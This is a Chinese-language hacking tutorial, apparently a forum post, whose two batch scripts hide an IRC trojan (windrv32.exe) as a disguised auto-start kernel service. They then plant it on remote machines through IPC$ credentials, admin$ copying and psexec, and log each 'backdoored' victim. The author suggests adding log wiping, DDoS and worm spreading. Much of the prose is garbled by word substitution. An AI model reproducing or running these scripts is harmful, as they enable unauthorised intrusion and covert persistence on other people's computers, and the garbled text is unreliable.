批处理木马与注册表

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.然而这样很容易袒露木马程序的路径,从而导致木马被查杀,相对于地如果将木马程序注册为系统服务则相对宁静一些.下面以设置装备摆设好地IRC木马DSNX为例(名为windrv32.exe)  
@start windrv32.exe  
@attrib +h +r windrv32.exe  
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll  
@echo "windsnx "=- >>patch.dll  
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe  
@regedit /s patch.dll  
@delete patch.dll  
@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统症结性服务的同时将其属性设为隐藏和只读，并config为自启动]  
@REM 这样不是更安全^_^.  

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------  
@net use \\%1\ipc$ %3 /u:"%2"  
@if errorlevel 1 goto failed  
@echo Trying to establish the IPC$ connection …………OK  
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt  
@psexec \\%1 c:\winnt\system32\windrv32.exe  
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt  
:failed  
@echo Sorry can not connected to the victim.  
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------  
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在同一目录下.批处理内容  
尚可扩大,比方:参加扫除日记+DDOS的功能,,加入定时增加用户的功效,更深刻一点可使之具备主动传布功能(蠕虫).此处未几做叙述,有兴致的朋侪可自行钻研.